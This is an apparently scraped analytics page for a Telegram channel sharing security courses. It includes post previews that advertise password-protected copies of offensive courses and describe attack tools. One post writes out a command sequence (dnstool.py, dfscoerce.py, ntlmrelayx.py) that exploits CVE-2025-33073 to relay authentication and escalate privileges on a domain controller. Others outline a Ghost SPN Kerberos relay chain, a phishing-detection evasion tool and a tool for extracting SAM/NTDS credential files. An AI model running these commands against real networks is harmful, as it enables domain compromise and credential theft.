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All Security Engineering Courses

All Security Engineering Courses

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This channel is being updated often with older than 2020 courses, ebooks, videos, code, etc. to be used responsibly by everyone in CyberSecurity in an ethical manner. Lots of content is being downloaded from other channels or forwarded here. Bookmark me!

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📈 Analytical overview of Telegram channel All Security Engineering Courses

Channel All Security Engineering Courses (@allsecurityengineeringcourses) in the English language segment is an active participant. Currently, the community unites 18 997 subscribers, ranking 6 929 in the Technologies & Applications category and 35 164 in the Russia region.

📊 Audience metrics and dynamics

Since its creation on невідомо, the project has demonstrated rapid growth, gathering an audience of 18 997 subscribers.

According to the latest data from 29 July, 2026, the channel demonstrates stable activity. Although there has been a change in the number of participants by 151 over the last 30 days and by 14 over the last 24 hours, overall reach remains high.

  • Verification status: Not verified
  • Engagement rate (ER): The average audience engagement rate is 12.42%. Within the first 24 hours after publication, content typically collects 3.35% reactions from the total number of subscribers.
  • Post reach: On average, each post receives 2 360 views. Within the first day, a publication typically gains 637 views.
  • Reactions and interaction: The audience actively supports content: the average number of reactions per post is 3.
  • Thematic interests: Content is focused on key topics such as git, strace, github, linux, docker.

📝 Description and content policy

The author describes the resource as a platform for expressing subjective opinions:
This channel is being updated often with older than 2020 courses, ebooks, videos, code, etc. to be used responsibly by everyone in CyberSecurity in an ethical manner. Lots of content is being downloaded from other channels or forwarded here. Bookmar...

Thanks to the high frequency of updates (latest data received on 30 July, 2026), the channel maintains relevance and a high level of publication reach. Analytics show that the audience actively interacts with content, making it an important point of influence in the Technologies & Applications category.

18 997
Subscribers
+1424 hours
+407 days
+15130 days
Posts Archive
Offensive Security Certified Professional (OSCP) Complete course 🔥🆕 👨‍💻 Password : @WickHelps ❤️ Exam Guide : link ❗️ Bac
Offensive Security Certified Professional (OSCP) Complete course 🔥🆕 👨‍💻 Password : @WickHelps ❤️ Exam Guide : link ❗️ Backup all channels link 👨‍💻 Proof of work Link 🔮 Any-Issues: Chat Here 🖥 Download Here1 Here2

QRucible A tiny Python utility that generates "imageless" QR codes in various formats and obfuscates keywords in emails by il
QRucible A tiny Python utility that generates "imageless" QR codes in various formats and obfuscates keywords in emails by illustrating them using tables. This is useful for evading keyword-based and AI-assisted QR code phishing-specific detections. Blog: https://flangvik.com/posts/2024-06-13-pixelless-qr-codes-with-qrucible/

RedCanary_TDR_2024

Splunk-threat-hunters-cookbook

Fight_Fire_with_Fire_Proactive_Cybersecurity_Strategies_for_Todays

Logic & Computer Design Fundamentals (5th Edition)

🔰 Docker Tutorial For Beginners - How To Containerize Python Applications
In this Docker Tutorial I show how to get started with Docker for your Python Scripts and Python Web Apps. We look at two different...

Triton RAT

Analyzing DNS Log Files Using Splunk

Reversing RokRAT

Hello everyone! We have more news about NTLM Relay! We've told the world so many times... Never mind :) So, let's start with the sources: 1. In Win11, the Printerbug-vulnerable service now runs over TCP rather than named pipes (ncacn_np), so a POC has been created that connects to the service over ncacn_ip_tcp: https://github.com/decoder-it/printerbugnew/tree/main 2. A service vulnerable to PetitPotam may not work by default, but we can try to enable it, for example, using the efsr_spray.py module (https://github.com/Pennyw0rth/NetExec/pull/718). A similar trick, but this time interacting with the required named pipe to enable Remote Registry, can be used like this: echo start > \\.\pipe\winreg . All of these enablement methods are combined under a single, larger mechanism called Service Triggers, a detailed analysis of which was published by our colleagues at TrustedSec (https://trustedsec.com/blog/theres-more-than-one-way-to-trigger-a-windows-service). Then came some wonderful news: rainbow tables for NetNTLMv1 were released (https://console.cloud.google.com/storage/browser/net-ntlmv1-tables;tab=objects?pli=1&prefix=&forceOnObjectsSortingFiltering=false). Even if it's in 2025 :) But the most curious trick I saw today on Twitter was this one. A bug called the Kerberos Reflection Attack was released this year. In short, the system receives a TGS ticket for one device, passes it on to the attacker, and they, in turn, use it without any problems. We can exploit this CVE-2025-33073 with NTLM, for example, to bypass a signature! It's done like this: # We attack a computer named DC dnstool.py -u 'lowpriv\lab1.lab' -p 123 <dns ip> -a add -r DC1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA -d <kali IP> dfscoerce.py -u lowpriv -p 123 -d lab1.lab DC1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA <dc ip> ntlmrelayx.py --remove-mic -smb2support -t ldaps://<dc ip> --escalate-user test --no-validate-privs

#Exclusive 🔥 #First_Time_Ever 🔥 Udemy Course – Malware Development for Ethical Hackers & Pentesters🔥🆕 👨‍💻 Password : @W
#Exclusive 🔥 #First_Time_Ever 🔥 Udemy Course – Malware Development for Ethical Hackers & Pentesters🔥🆕 👨‍💻 Password : @WickHelps ❤️ Exam Guide : link ❗️ Backup all channels Link 🔮 Any-Issues: Chat Here 🖥 Download Here1 Here2

#Exclusive 🔥 #First_Time_Ever 🔥 CyberWarFare Labs - Certified Exploit Development Professional [CEDP] 2025.6 🔥🆕 👨‍💻 Pas
#Exclusive 🔥 #First_Time_Ever 🔥 CyberWarFare Labs - Certified Exploit Development Professional [CEDP] 2025.6 🔥🆕 👨‍💻 Password : @WickHelps ❤️ Exam Guide : link ❗️ Backup all channels Link 🔮 Any-Issues: Chat Here 🖥 Download Here1 Here2

#Exclusive 🔥 #First_Time_Ever 🔥 Course SEC510 Cloud Security Controls and Mitigations🔥🆕 👨‍💻 Password : @WickHelps ❤️ Ex
#Exclusive 🔥 #First_Time_Ever 🔥 Course SEC510 Cloud Security Controls and Mitigations🔥🆕 👨‍💻 Password : @WickHelps ❤️ Exam Guide : link ❗️ Backup all channels Link 🔮 Any-Issues: Chat Here 🖥 Download Here1 Here2

Repost from 1N73LL1G3NC3
UnderlayCopy PowerShell toolkit that extracts locked Windows files (SAM, SYSTEM, NTDS, ...) using MFT parsing and raw disk re
UnderlayCopy PowerShell toolkit that extracts locked Windows files (SAM, SYSTEM, NTDS, ...) using MFT parsing and raw disk reads.

Repost from 1N73LL1G3NC3
Exploiting Ghost SPNs and Kerberos Reflection for SMB Server Privilege Elevation In an attack exploiting CVE‑2025‑58726, a ba
Exploiting Ghost SPNs and Kerberos Reflection for SMB Server Privilege Elevation In an attack exploiting CVE‑2025‑58726, a bad actor would perform the following steps: • Identify a Ghost SPN on the target machine. • Register a DNS record for the Ghost SPN pointing to the attacker machine. • Use a Kerberos relay tool (e.g., my KrbRelayEx script, available on GitHub) to intercept the Kerberos authentication. • Trigger authentication for the target machine (e.g., using Printer Bug, PetitPotam, or similar). • Relay the Kerberos ticket back to the target machine. • Gain SYSTEM access via SMB and execute arbitrary commands. P.S.
This attack targets Kerberos by abusing misconfigured SPNs; it does not affect NTLM. The fix for CVE-2025-33073 (Windows SMB Client Elevation of Privilege Vulnerability) addressed a specific SMB client issue. However, the Ghost SPN attack method bypasses that fix. The vulnerability lies in Kerberos itself, which fails to prevent authentication reflection. The same approach can be applied to other protocols that rely on Kerberos.